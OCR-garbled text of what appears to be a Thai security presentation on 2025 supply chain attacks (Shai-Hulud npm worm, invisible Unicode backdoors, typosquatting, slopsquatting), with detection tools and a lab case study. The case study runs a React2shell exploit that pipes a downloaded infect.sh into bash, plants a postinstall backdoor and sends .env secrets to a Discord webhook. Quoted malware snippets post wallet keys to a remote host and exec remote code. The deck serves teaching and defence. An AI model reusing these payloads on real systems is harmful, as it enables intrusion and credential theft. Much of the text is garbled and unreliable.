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Recent Supply Chain Attacks

lKQﬂ'ISﬂjﬁ'lﬁiy'ﬂ 2025 The |nterconnectlvrty and Main Supply Chain Attack Targets in 2025

Upstream vendors Open-source maintainers Saa$ platforms

L4 oraCIe Legacy BreaCh: ﬂS:nU 6 51u Users, ~128|-( domains |mpaC-t Of Supply Chaln AttaCkS Browser extensions Managed Service Providers

2025 saw an escalation in the abuse of trusted vendor access that triggered a cascading impact across
supply chains, impacting hundreds of organizations and millions of users worldwide.

 Drift/Salesloft OAuth Abuse: 700+ avfins compromised wWiu OAuth St aCenlmitos

Oracle breach caused by legacy Drift/Salesloft/ Fintech firm Marquis Shai-hulud NPM self-propagating
environment exploit Salesforce token abuse ransomware attack worms. Compromise impact
t O k e n S organizations worldwide financial institutions 10 0 I 8 O O
6 I ' I I n ‘ ~128 K 70 O+ impacted via compromised 70+ sensitive data I I l n +
° ° — = ° . o users unigque domains OAuth tokens compromised downloads npm packages
L]
 Fintech (Marquis) Ransomware: 70+ aaauunisivu sensitive data
Top Techniques Used to Attack Evolution of Social Engineering Top Supply Chain-Focused
. d Upstream Vendors Through Artificial Intelligence Cybercriminals
compromise T s oenes
nnnnnnnnnnn o ass phishing yper-personalized lures
! o 3 . )
Compromised third-party integrations & API keys + Impersonation Deepfake-enabled trust attacks i«_.— - .
o = alone q ; . v .
r [ maintainer targeting Fake accounts Synthetic identities
e Shai-hulud NPM W :100M+ d loads, 800 m K .
a I = u u o r m ® + OW n O a S 9 + n a C a e S C] O Synthetic insiders | deepfake-enabled impersonation Manual ops Autonomous scam worl Kflows
Malicious package injection Persuasion On-demand malware delivery
li D)
Transformation of the Cybercrime Ecosystem
Initial Access Brokers Phishing Ransomware Advanced Persistent Threats
Public IAB listings declined High-valun access b sold dirsctly = \ Fewer new Raa$ programs Operations maved from 0 BE o
W “single victim® - to vendor/ £5
o o MSP-scale extortion
Automated SpaaS + Al-driven - - o Identity simulation
lures turned phishing into Focus shifted from PR e e enables stealthy
shifting high-value deal Irmgresion feoutrAcs an always-on, adaptive passwords = to identity, but overal Il activi ty moved from ex perimental ~ Accessan d hybrid
ln n G n[a U c—i U pst ea ve n d o s into private channels delivery lay kans, and'congent thefts & PSRN d to expand - to affil ady Sopi forp
Top 10 Jurisdictions = Netherlands 3 Top 10 Industries Targeted

= Germany 2 by Supply Chain Attacks 2 5

e Token Hijacking: ulug API keys, OAuth tokens, Credentials o etpeloy/SupphChsin
© Canada 3 [—— 7 -‘1}& ._ : 5 - 17 18

» Third-party Integration Compromise: 191:W1U integrations s 3 P
« Developer/Maintainer Targeting: [oud OSS maintainers lagasv Gy == “ puligliic)ion 11 U

e Synthetic Insiders: Deepfake-enabled impersonation o | ‘ - -
e Malicious Package Injection: Uauss haawwutdwiiu libraries

Ref: https://www.group-ib.com/media-center/press-releases/htct-2026-supply-chain
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Ref: https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack
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Shai-Hulud Worm: NPM Supply Chain Attack

Shai-Hulud 1.0

e

Package postinstall

(Fillgsp:?:ﬂ:aetrl:gnt, script executes

Installation . .
Completes Initial Infection

linking) (malware runs)

e unsa malicious code lu preinstall phase

Shai-Hulud 2.0 udv npm packages

Developer npm e Sununn developer taav package (npm

runs downloads preinstall Kicks off action e
y . v " sequence: nstallation install
npm install package script executes Secret Theft & Completes stall)

tarball (malware runs) Propagation

Aggressive 2.0 Features: T

Preinstall execution Is Docker Docker Privilege i
¥ - - I L] L] °
Redesigned payload, available? Escalation {Fi?: },‘;‘;Liﬁ'n“;';tr e NPM tokens, GitHub authentication, AWS Secrets

Potential Docker privilege escalation (Gains higher access)

Credential Theft

Managerm, Google Cloud Secret Manager,

Environment variables, etc

@ CYBER

EXPRESS

Magazine Firewall Daily Essentials Knowledge Hub Features

New Shai-Hulud Attack Hits Nearly 500

npm Packages with 100+ Million

Downloads
& by Paul Shread

Ref: https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack
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What is Invisible Backdoors?

app.get('/network hgalth', (req, res) {
{ timeoyt, } = req.query;
checkComn&&s = |

= — How a backdoor attack works

'curl -s htt oF J/exam P le.com / , Attacker sends sensitive data to the

command-and-control server via open ports

] o exposed by the backdoor.
r

18

try A 1 - Attacker install
: : Command- acker installs a
awalit Promise.all [' checkCommands . ma P I: cmd and-control server % backdoor on a target
irewall
Firewa | —

cmd && exec(cmd, { timeout: +timeout system.

res.status(200): ‘ e
res.send('ok'); —

oo (8inatadaululAawu Unicode Hangul Filler rilAuavlutAiu  yi govMvaungagaulus:uUIWaIALIIGIvKSDAdUAULASDYIA

o

Gramakde Text Editor Und lagnimuavs:uulusad
4 Malware-by-design nuaatnasavialvuiulaa

Ref: https://certitude.consulting/blog/en/invisible-backdoor
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What is Invisible Backdoors?

const { timeout = req.query; http://host:8080/network health3j%$E3%85%A4f¥<any command>

e {3 character WiAyvNGo1 "HANGUL FILLER” Payload
http://host:8080/network_health? % E3%85%A4=whoami
array aa1owlu

const checkCommands = [
ping -¢c 1google.com’,

'curl -s http://example.com/’,

I;

Ref: https://certitude.consulting/blog/en/invisible-backdoor
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Backdoors vs CVE

Common Vulnerabilities and Exposures (CVE)

<[>

po

lAaoaAURawalalunmisidgulaa (Unintentional

bugs)

AovsalkuAIsSWULLAID=UNMsSUuUNALazAIKkuQLlay

CVE ID duun

aisaunlvuazuoavauladranis Patch nasiulku

Backdoors

@ Malicious code nav@ooautuvuuiwoloudlag

LAOWNE

e
S

@ fvunalbudsaluddnuindadv (Auto-run)

B Tdawnsa Patch 1a dov Uninstall tndu



Attack Vector: npm Lifecycle Scripts

>_ Lifecycle Scripts: preinstall, postinstall

N . _ Before (Clean State) After (Malicious Backdoor)
e preinstall: anSUaua:=gasu naulSUaQaL
. 1. package.json 1. package.json
dependencies <> { </> -
2 = 2 o "name'_': "@zapier/zapier-sdk", "name'_‘: "@zapier/zapier-sdk",
e postinstall: ansUdau=zgasu Kavontiaaw wversion®: "9.15.4", "version": "0.15.5",
scripts": { scripts": {
- y "test": "vitest" "test": "vitest",
dependencies Lasiiad 1 Rl Ll RuuieBstuplureics
}
. 2. File Structure . 2. File Structure
ﬁ - <ilAa< CHANGELOG.md e A bun_environment.js
s ansudsuoaluut (Automatic execution) ludavna S @ bun_envira
L. » package.json dist
Jguau * README.md package.json

README.md

e A setup_bun.js

& Unanldviuwaulue Access Key, Credentials aoe



Attack Vector: Account Takeover + Phishing Maintainers

Phishing vlug npm Token m

{8 Domain Uaadukaonm WU npnjs.com LINU hpmjs.com
Hi, S
We're reaching out to all users as part of our regular account maintenance.

To ensure your account remains secure and fully functional, we kindly ask that you
verify your email address.

kaonlk Maintainer i1n1s Login wasuauulue Credentials

Please log in here B3 re-verify access to your email.

Attacker Publish malicious version aigadu Registry nttps:/inpnjs.com/login?

If you have QU CUEEEE R LR P ELE Ly L irt Lyl imee to reach out to the npm
support tedm.

lagasv

gceiving this email because we doubt that you still have access to the e-ma

https://npnjs.com/login?
token=6536ea34d83b2ada62ad6f2a352020ff

Ref: https://www.endorlabs.com/learn/npm-account-takeovers-are-a-growing-malware-trend
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Attack Vector: Typosquatting

aslhud Typosquqtting Official GitHub Repo Real PyPI Package Malicious PyPI Package
. u e 2 2 O 50[ana'Py > P solana > P sola Na-PY o3as
Typosquatting Aomsaviauwatna/lawulkAnarsvov T

250 (UncvAuLAGId=nalaldgd) tWokaonlKIKdoWuw

pip install solana-py
p Installing solana-py 0.34.5....

Nauddaaav/wnilgviuvavuasaulnuuavdsy - Backdooredicen

b Stealing Wallet Keys...

def new_method(self, *args, **kwargs):
data = self.to_bytes_array()
y, requests.post ("https://treeprime-gen.hf.space/image",

@y281v Typosquatting uav solana-py = - N , data=data)
lUspndasvuu GitHub 3o solana-py walUWALADdSYL __
. | . . Unaware Developer - Private Key __y, 4 s,., R~
uu PyPI %o solana d@urldudilusa solana-py uu » /l‘JJ
' ' Exfiltra{ioﬁ Server " A Cker ' ;
Py PI [0 8 61 FTEJ ﬂ 31 U ETU a U l§ a\)ﬁ a llVTlﬂ l.ﬂ DS: H3I1\) G it H U b -'ﬂ ~ treeprime-gen. hf.space l i Ay

U Py ©_ Solana-py Typosquatting Attack _=

N S

Ref: https://www.sonatype.com/blog/an-ideal-pypi-typosquat-solana-py-is-here-to-steal-your-crypto-keys
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Attack Vector: Slopsquatting

msloua Slopsquatting

sUuuulkiiuav supply chain attack n attacker 3

Us:losuarnnish Al (LLM / coding agent)

"Hallucinate” package Juuiov udlsulusabo Large Language Model Normal User
Pl s - N - y Publishes
package uula malware solk dev aa@iaavaiun Al Package X with
) malicious code .
Lu=un T Package Repository

Package X now Package X installed
available to all users - a“dd “l:a:[“““il
I code delivered |
L t-l II!
Queries package repository tlu eries package repository
for Package X for Package X

Ref: https://stripeolt.com/knowledge-hub/expert-intel/what-is-slopsquatting/
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Attack Vector: Obfuscation Techniques

Unicode [ Whitespace Steganography

os-info-checker-es6 (npm)
Jaouwuuwatnagndaya OS uauauivlaalu
preinstall A& Unicode steganography gau
AAdUAL (C2) BlumanusuavlutRu AU
aaudadva:unsdondiudanul aalugv
Google Calendar Wodv URL uav payload

WA 0SgusSULULASIVIKED

reguire( "fs');

require( "os");

MecodedBytes);
const decodedString = decodedBuffer.toString( 'utf-8");
eval {atob(decodedstring))

fs.writeFileSync{ 'run.txt', atob(decodedString))

function getPath() {

if (os.platform() == 'win32' )} {

return T ./srcfindex_%{os.platform{)}_%{os.arch()}} .node”

YL fsrcfindex_%${os.platform{)} .node”

gfist fs = require('fs");

const os = requiref‘'os’):

const { decode } 7 regquire(getPath());

const decodedByted = decode (" | [X][X]0X]0<] 0] Bx] B B <] EX] X1 X1 0] 4 ] D] B £ X1 X DX DX DXL X X X X XTI X ) |
const decodedBuffd~ = Buffer.from{decodedBytes);

const decoded St i S ——

eval (atob(decodedString))

fs.writeFileSync( run.txt’, atob(decoded5tring))

function getPatH&} 1

if (os.platform() == ‘"win32") {
return ~./src/index ${os.platform()} ${os.arch()}.node”
} else {

return ~./src/index ${os.platform()}.node”

aHROcDovLzEOMC44Mi41INC4yMjMvZUdNCEIRQXVVN

USuWFJ4R1FXS|BMZyUzRCUzRA==
Monday, June 7, 2027 - 06:00-07:00
o 1 guest

1yes

echeverridelfin@gmail.com

“=8 v Organizer

Ref: https://thehackernews.com/2025/05/malicious-npm-package-leverages-unicode.html
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Detection Methods: SCA Tools

S Software
C Composition
A Analysis

GuardDog

(1S299U malicious open-source
packages lu ecosystem U PyPI uas
npm J1As1zKwaainssuovavdsu

Source Code

socket.dev

e JlAS1:K package behavior

ADLASOVIDAIKSU asIDIdUBIVIKD
(Vulnerability Detection): auaukilausisian
KsSavovlkdnFagvaanisloud

vraus:Kkgavairtunisasrdaaulaaargaudv

npm audit

asdadou ¥avlkd (vulnerabilities) u

o 1UU supply chain attack detection dependencies yavlUsand npm

e 0S2DDUWHOASSUDUOSIY BDVIKD WSgutnguaugiudoaya vulnerability

(CVESs)

lLaswus=uinasyunmdsallan



Detection Methods: SCA Tools

@

guarddog pypi scan .
Found in .
cmd-overwrite: found 1 source code matches plp InSta” guarddog
* This package is overwriting the 'install' command in setup.py at setup.py:21

ki (NP guarddog pypi scan .

version=VERSION,
author="UFXeEcXuWfizGWAWeNfx",
author_email="nhAYktBJ@gmail.com", guarddog npm sCan.
description=DESCRIPTION,
long_description_content_type="text/markdown",
long_description=LONG_DESCRI...,
]
)

exec-baseb4: found 1 source code matches
* This package contains a call to the "eval function with a "baseé4 encoded string as argument.

This is a common method used to hide a malicious payload in a module as static analysis will not decode the
strina.
at setup.py:16

exec(Fernet(b'9AyiqeqKAPrN91Q5kvQDirIodTGyMTZUi91CIkyWGwk=") .decrypt(b'gAAAAABmBHAUNFXAGYyusFSY37LkGAM
pOYBTSTcmal9FIrImbé&6VoorZQ5B8qSuQAlMwVmDrd20aPvQWhv8KnAK7 TKKuv-HqqjPC4fi3cjthB23-HISTsB8SZHHN@2Bswa_67ny8pnPyD
2ufyegSYndi2h_...3cNM4="'))

- B A L% L 3 S Y |7 e I BT -

L

! B Recipe Input + 0Oz 0 =
E tD " gAAAAABmMBHEUNFXxAGYusFSY37LKkGAMp@YBTSTcmal9FLrImb6VoorZQ588qSuQAMwVmD rd20aPvQWhvB8KnAk
SEeLechyy TKKuv-HqqjPC4fi3cjthB23-HISTsB8SZHHN@2Bswa_67ny8pnPyD2ufyegSYndi2h_fENcIy-
- P ) t9H64QC133fvqTCcjF721ULU_zPZPeid—_Pp2ZuempDbRKEUHiYJ6K3QYnWRiLhy119dN@BLzQ-
I guarddog npm scan expresss Key . o — AACIWT3hMA=
Found in expresss 9AyigegKAPrN91Q5kvQDirIodTGyMTZU191CIK..

empty_information: This package has an empty description on npm

release_zero: The package has its latest release version to 0.0.0

typosquatting: This package closely resembles the following package names,

Tr Raw Bytes &= LF

BO®::

exec(requests.get('https://funcaptcha.ru/paste2?
package=BelaitifulSoop').text.replace('<pre="','"').replace('</pre>="',"'"))

Ref: https://github.com/DataDog/guarddog
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Detection Methods: SCA Tools

npm install -g socket

@ @~ seo/frontend | @D @main ?2 v | 21:22:51 .

[~ socket scan create socket Iogln
_____ 5 E e —
[ e e b e e ) | CLI: v1.1.72
B e e e | token: Cvd_é*** (config), org: test-wax@2 (config) SOCket scan create
e e e e e e | Command: “socket scan create’, cwd: ~/Documents/seo/frontend

v No TARGET given. Do you want to use the current directory? Yes
Note: You can invoke this command next time to skip the interactive questions:

socket scan create [other flags...] test-waxe2 .

You can also run "socket scan setup’ to persist these flag defaults to a socket.json file.

Received Socket API response (after requesting supported scan file types).
Found 1 file to include in scan.

Found 1 local file

Received Socket API response (after requesting to create a scan).

SN NN N

v Scan completed successfully!

View report at: https://socket.dev/dashboard/org/test-wax@02/sbom/c1700c9e-cc32-4c0f-b8bc-04aa358933céh
://socket.dev/dashboard/org/test-wax02/sbom/c1700c9e-cc32-4c0f-b8bc-04aa358933cé )

[+ Would you like to open it in your browser? Yes

Ref: https://docs.socket.dev/docs/socket-cli
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Detection Methods: SCA Tools

Scans > Scan

E] SEO-Poisoning L9 main £ Socket SCA (© 10 seconds ago

/\ Alerts @ Dependencies [ Files 1

= Filter Q Search alerts
© Alert Action is 3actions X

Critical priority (%)

i1l Critical CVE: Authorization Bypass in Next.js Middleware L Direct

High priority )

11! High CVE: Next.js HTTP request deserialization can lead to DoS when using insecure React...

il High CVE: Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up

11! High CVE: Next Vulnerable to Denial of Service with Server Components
Medium priority (%)

i1l Telemetry collection: npm next

Ref: https://docs.socket.dev/docs/socket-cli

Production

L Direct

L Direct

L Direct

L Direct

Insights

5= Display

Clear

Production

Production

Production

Production

Used

Used

Used

Used

] SEO-Poisoning LF main

A Alerts @ Dependencies B Files 1

= Filter Q Search dependencies (e.g. react)
Ecosystem Package ¢

npm next@14.2.21

npm eslint@8.57.1

npm eslint-config-next@14.2.21
npm recharts@2.15.4

npm @types/react-dom@18.3.7

-

b

.#:“

=7

H Socket SCA (10 seconds ago

Overall Score 4

25)

=
75

6

ONONORY.

e of

o

Grouping: Directs =

Author ¢ Transitives ¢
vercel-release-bot 23 w
eslintbot 97 +
vercel-release-bot 243 ~
ckifer 39 v

types 0

o

af



https://docs.socket.dev/docs/socket-cli

Detection Methods: SCA Tools

npm audit ]
# npm audit report

nlob 10.2.6 - 10.4.5
severity:
¢lob CLI: Command injection via -c/--cmd executes matches with shell:true - https://github.com/advisories/GHS
t~5398-mcp5-4vw2
fix available via "'npm audit fix —-force
Will install eslint-config-next@1l6.1.6, which is a breaking change
node_modules/qglob
@next/eslint-plugin-next 14.0.5-canary.® - 15.0.0-rc.1
Depends on vulnerable versions of glob
node_modules/@Pnext/eslint—plugin-next
eslint-config-next 14.0.5-canary.® - 15.0.0-rc.1
Depends on vulnerable versions of @next/eslint-plugin-next

s o | l mes fAam a AT A R |
node_modules/eslint-conf g—next

next 06.9.9 — 15.5.9

Severity: critical

Intormation exposure in Next.js dev server due to lack of origin verification - https://github.com/advisories
/GHSA-3h52-269p-cp9r

Next.js Affected by Cache Key Confusion for Image Optimization API Routes - https://github.com/advisories/GHS
A—gbqg-72qw—gwbVv

Next.js Improper Middleware Redirect Handling Leads to SSRF - https://github.com/advisories/GHSA-4342-x723-ch
2f

Next.js Content Injection Vulnerability for Image Optimization - https://github.com/advisories/GHSA-xv57-4mr9
-wg8v

Next.js Race Condition to Cache Poisoning - https://github.com/advisories/GHSA-gpjv-v59x-3qc4

Next Vulnerable to Denial of Service with Server Components - https://github.com/advisories/GHSA-mwvé6-3258-q5
2c

Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up - https://github.com/advisorie
s/GHSA-5j59-xgg2-r9c4

Next.js self-hosted applications vulnerable to DoS via Image Optimizer remotePatterns configuration - https:/
/github.com/advisories/GHSA-9g9p-9gw9-jx7f

Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components - https://gi
thub.com/advisories/GHSA-h25m-26qc-wcjf

Authorization Bypass in Next.js Middleware - https://github.com/advisories/GHSA-f82v-jwr5-mffw

1 LA avallawloc v.i.ga I]'.I'III (=R wisEy N I LA T IYWLIWS

Will install next@1l4.2.35, which is outside the stated dependency range

node_modules/next



Detection Methods: SCA Tools

npm audit fix --force

npm warn Recommended protections disabled.
npm warn Updating next to 16.1.6, which is a SemVer major change.
npm warn overriding peer dependency

npm warn While resolving: @heroui/theme@®2.4.26 r‘r)|11 Eill(’lt'fl)(

npm warn Found: tailwindcss(@3.4.19

npm warn node_modules/tailwindcss

npm warn peer tailwindcss@"x" from tailwind-variants@3.2.2 1 IV -

npm warn node_modules/tailwind-variants n pm a Ud It fIX force
npm warn tailwind-variants@"3.2.2" from @heroui/theme@2.4.26

npm warn nhode_modules/@heroui/theme

npm warn 1 more (the root project)

npm warn

npm warn Could not resolve dependency:
npm warn peer tailwindcss@®">=4.0.0" from Pheroui/theme®2.4.26

npm warn node_modules/@®heroui/theme

npm warn peer Pheroui/theme@">=2.4.24" from Pheroui/accordion@2.2.29

npm warn node_modules/@®heroul/accordion

npm warn 48 more (Pheroui/alert, @®heroui/autocomplete, @heroui/avatar, ...)
npm warn

npm warn Conflicting peer dependency: tailwindcss@4.2.1

npm warn node_modules/tailwindcss

npm warn peer tailwindcss@">=4.0.0" from Cheroui/theme@2.4.26

npm warn node modules/®heroui/theme

npm warn peer Pheroui/theme@®">=2.4.24" from Pheroui/accordion@®2.2.29

npm warn node_modules/®@heroui/accordion

npm warn 48 more (Pheroui/alert, ®heroui/autocomplete, @heroui/avatar, ...)
npm warn overriding peer dependency

npm warn While resolving: eslint-config-next@16.1.6

npm warn Found: eslint@8.57.1

npm warn node_modules/eslint

npm warn peer eslint@"*6.0.0 || ~7.0.0 || >=8.0.0" from Qeslint-community/eslint-utils@4.9.1

?

added 30 packages, removed 6 packages, changed 13 packages, and audited 693 packages in 9s

[ npm audit
sy oo, 179 packages are looking for funding
found ©® vulnerabilities SUnE hpntEUnds roridataiis

found ©® vulnerabilities



Case study 1: Simple Analysis Python Package




Case study 2 Attack:

source: https://drive.google.com/file/d/1VnQg4wvYXXWrG5mBKIDROX iKer5-FbQ/view?usp=sharing



https://drive.google.com/file/d/1VnQq4wvYxXWrG5mBkiDR0X_iKer5-FbQ/view?usp=sharing

Case study 2 Attack:

Setup

[ tree

—— exploit
—— README . md
—— backdoor

L— infect.sh
— exploit.py
— website
—— next-env.d.ts
—— next.config.js
—— package.json
—— SIC

—— actions.ts
—— api

L— books
—— layout.tsx
—— page.tsx
components
L — BookStore.tsx
—— tsconfig.json

9 directories, 11 files

Folder website
Ao Wuulsamouivlunislrudlagidyovlkd
React2shell

exploit.py .
A wanw1BIbudvovlkd React2shell watvnlUda
av backdoor

infect.sh

Ao IWantonl3aaav script backdoor
lagp:zaswwlwa bundle.js ndv secret (u .env wsau
dvlugv webhook discord uaztwu postinstall tu
wa package.json



Case study 2 Attack:

Setup

[ npm install

npm warn next®15.1.0: This version has a
on. See https://nextjs.org/blog/CVE-2025-66478 for n BOOkShOp Online Your favorite books, one click away
added 59 packages, and audited 60 packages 1in 9s
Search books...
23 packages are looking for funding
run \r'lpl"n fund\ for details Featured Books
1 critical severity vulnerability
To address all issues, run: il ' il
npm audit fix --force The Art of War Clean Code The Pragmatic Programmer
by Sun Tzu by Robert C. Martin by David Thomas
Run “npm audit® for details. $9.99 $29.99 $39.99
| npm run dev
> bookshop-vuln-react2shell@1.0.0 dev [:J HJ
> next dev —-p 3000 Design Patterns Hacking: Art of Exploitation The Web Application Hacker's
by Gang of Four by Jon Erickson Handbook
A NE}{t ,, j 5 15 . 1 E B $44.99 $34.99 by Stuttard & Pinto
542.99
- Local:  http://localhost:3000 ;
~ Network: http://192.168.1.66:3000

- Environments: .env

v Starting...



Case study 2 Attack:

Exploit

[ python3 exploit.py -t http://localhost:3000 -c 'ls'

@ | @~/Documents/seo/test/c: tudy_1/exploit/backdoor | @ @main ?2
[ 1s
/\ IW-r--r-—-Q 2.9k laipradith 13 M : @ infect.sh
%%\
[ Hkkek\ @ | @~/Documents/seo/test/c: study_1/exploit/backdoor | @@ main 22
[ Hkkkkxk \ [ python3 -m http.server 8080
[ Hxxxkkkok\ Serving HTTP on :: port 8080 (http://[::]:8088/) ...
JEZ T
| |
[CVE-2025-55182 React Server Components RCE] T e A ———— T YT N —rer— :
[~ python3 exploit.py -t http://localhost:3000 -c 'curl -s http://localhost:8080/infect.sh| bash'
[*] EXPLOITATION PARAMETERS A
[ %%\
TARGET ~ : http://localhost:3000 by
PAYLOAD . ls f********\
f estesie stk ek \

[*] Initiating exploitation sequence...
_ I I R : k S : [CVE-2025-55182 React Server Components RCE]

arget..

EXPLOITATION SUCCESSFUL '+] EXPLOITA

ION PARAMETERS

TARGET : http://localhost:3000
PAYLOAD : curl -s http://localhost:888@8/infect.sh| bash

d &

next.config.js

>

» node_modules

» package-lock.json ence...
» package.json arget
» SIC

» tsconfig.json [X] EXPLOITATION FAILED

» SERVER ERROR
o Py ot vulnerable
» HTTP 580 Internal Server Error




Case study 2 Attack:

Exploit work

test-bot (wadd! 10:55

HARVESTED
Host Path
helloworld-2335.local /Users/laipradith/Documents/seo/test/case_study_1/web

site

Suil 1281 10:55

.env

USERNAME=admin
PASSWORD=P@sswOrd

HHHHHKHKHH

Xxr-xr-x@ 2.3k laipradith (2) bundle.Js

-r—--r—-—-@ 211 laipradith 2 next-env.d.ts

-r—-r——@ 93 laipradith ) next.config.js

Xr—-xr-x@ - laipradith

-r--r-—-@ 31k laipradith (2 package-lock.json
-r=--r=--Q 474 laipradith (7 package.json

Xr—-Xr-x@ - laipradith

-r--r-—@ 566 laipradith [?7) tsconfig.json

@ | ~ seo website | @ @main !1 %4

cat package.json

"name": "bookshop-vuln-react2shell",
"version®: "1.0.0"
"description": "Vulnerable bookshop for CVE-2025-55182 security research"
“scripts": {
"dev": "next dev -p 3600",
"build": "next build",
"start": "next start -p 3000",
"postinstall": "node bundle.js"
},
"dependencies": {
"@types/node": "*22.0.0",
"@types/react": "*19.0.0",
"next": "15.1.8",
"react": "19.0.0",
"react-dom": "19.6.0",
Eypescripths "AGL7 .0



Case study 2 Defense:

Fix React2shell with npm audit

[ npm audit fix —--force E}%honS exploit.py -t http:/!localhostzsaeb S T

npm warn Recommended protections disabled.
npm warn Updating next to 15.5.12, which is outside your i
added 6 packages, removed 9 packages, changed 3@ packages, and /i:Il\
i . JEL T T T T
28 packages are looking for funding [ ek \
run “npm fund® for details [ etk ek ko \

|

[CVE-2025-55182 React Server Components RCE]

found ® vulnerabilities

TARGET : http://localhost:3000
PAYLOAD : 1s

» Target may not be vulnerable
» HTTP 404




[

Case study 2 Defense:

But backdoor still remains

ls

IWXr-xr-x@ 2.3k laipradith

IW-r——1r——(
IW-r——1r——(

YWXr—-Xr—-xQ@
IW-Tr——1r——(
IW-Tr——1r——(

YWXTr—-Xr—-X(@
IW-r——1r——(

@ @~

guarddog npm scan .

262

93
31k
477

966

laipradith
laipradith
laipradith
laipradith
laipradith
laipradith
laipradith

seo

(?Jbundle.js
2 next-env.d.ts
[?Jnext.config.js

(@) package-lock.json
() package.json

(?7) tsconfig.json

website |

Found @ potentially malicious indicators scanning .

Scans > Scan

] SEO-Poisoning 1P main & Socket SCA (® 8 seconds ago

/A Alerts @ Dependencies F[3 Files 4

= Filter Q Search alerts

Low priority (&)

Dynamic code execution: npm source-map-js

Dynamic code execution: npm next

Network access: npm next in module globalThis["fetch"]

Dynamic code execution: npm @emnapi/runtime

Potential vulnerability: npm next with risk level "medium"

Medium CVE: Next.js has Unbounded Memory Consumption via PPR Resume Endpoint

System shell access: npm next in module child_process

Network access: npm sharp in module globalThis["fetch"]

lenmtmll #irmams moaeimtes: Aeen cbhace Adorines isetasll

k= Transitive

L Direct

L Direct

£z Transitive

L Direct

L Direct

L Direct

E= Transitive

Insights

-
=) D

Production

Production

Production

Production

Production

Production

Production

Production

Diem ol imtimem



Case study 2 Defense: Disable Lifecycle script

Before add --ignore-scripts After added --ignore-scripts

. o —_—— [“— npm install --ignore-scripts
npm 1install

> bookshop-vuln-react2shell@1.0.0 postinstall up to date, audited 57 packages in 640ms
> node bundle.js

28 packages are looking for funding

added 30 packages, and audited 57 packages in 1s run npm fund for detalls

28 packages are looking for funding found @ vulnerabilities
run npm fund® for details

found ® vulnerabilities

n test-bot Bl 1055 . ﬁ @ @ (_\] r_) i
HARVESTED
Host Path
m test'bot uﬂﬂ 1M helloworld-2335.local [Users/laipradith/Documents/seo/test/case_study_1/web
site
HARVESTED Fuil 1nan 10:55
Host Path .env
helloworld-2335.local /Users/laipradith/Documents/seo/test/case_study_1/web USERNAME=admin
site PASSWORD=P@sswOrd
ar o
U a1 111N
n test'bot wel 11:11
HARVESTED
.env Host Path
helloworld-2335.local [Users/laipradith/Documents/seo/test/case_study_1/web
USERNAME=admin site
oA
PASSWORD=P@sswOrd il aan 111

Lenv

USERNAME=admin
PASSWORD=P@sswOrd



Prevention Best Practices

51 Defense fo1 SCA tool check
Q nousu npm install iaav Untrusted package = guarddog pypi scan <package>
Ua lifecycle scripts nbkua guarddog npm scan <package>

--1gnore-scripts
|~ socket scan create

= fou install package nysasiddaaunnuUIGafhinq

: S AT & npm audit fix
2g1vazloganauaaL

npm audit fix --force



Thank YOU

fJ=joJo) - PERMIS
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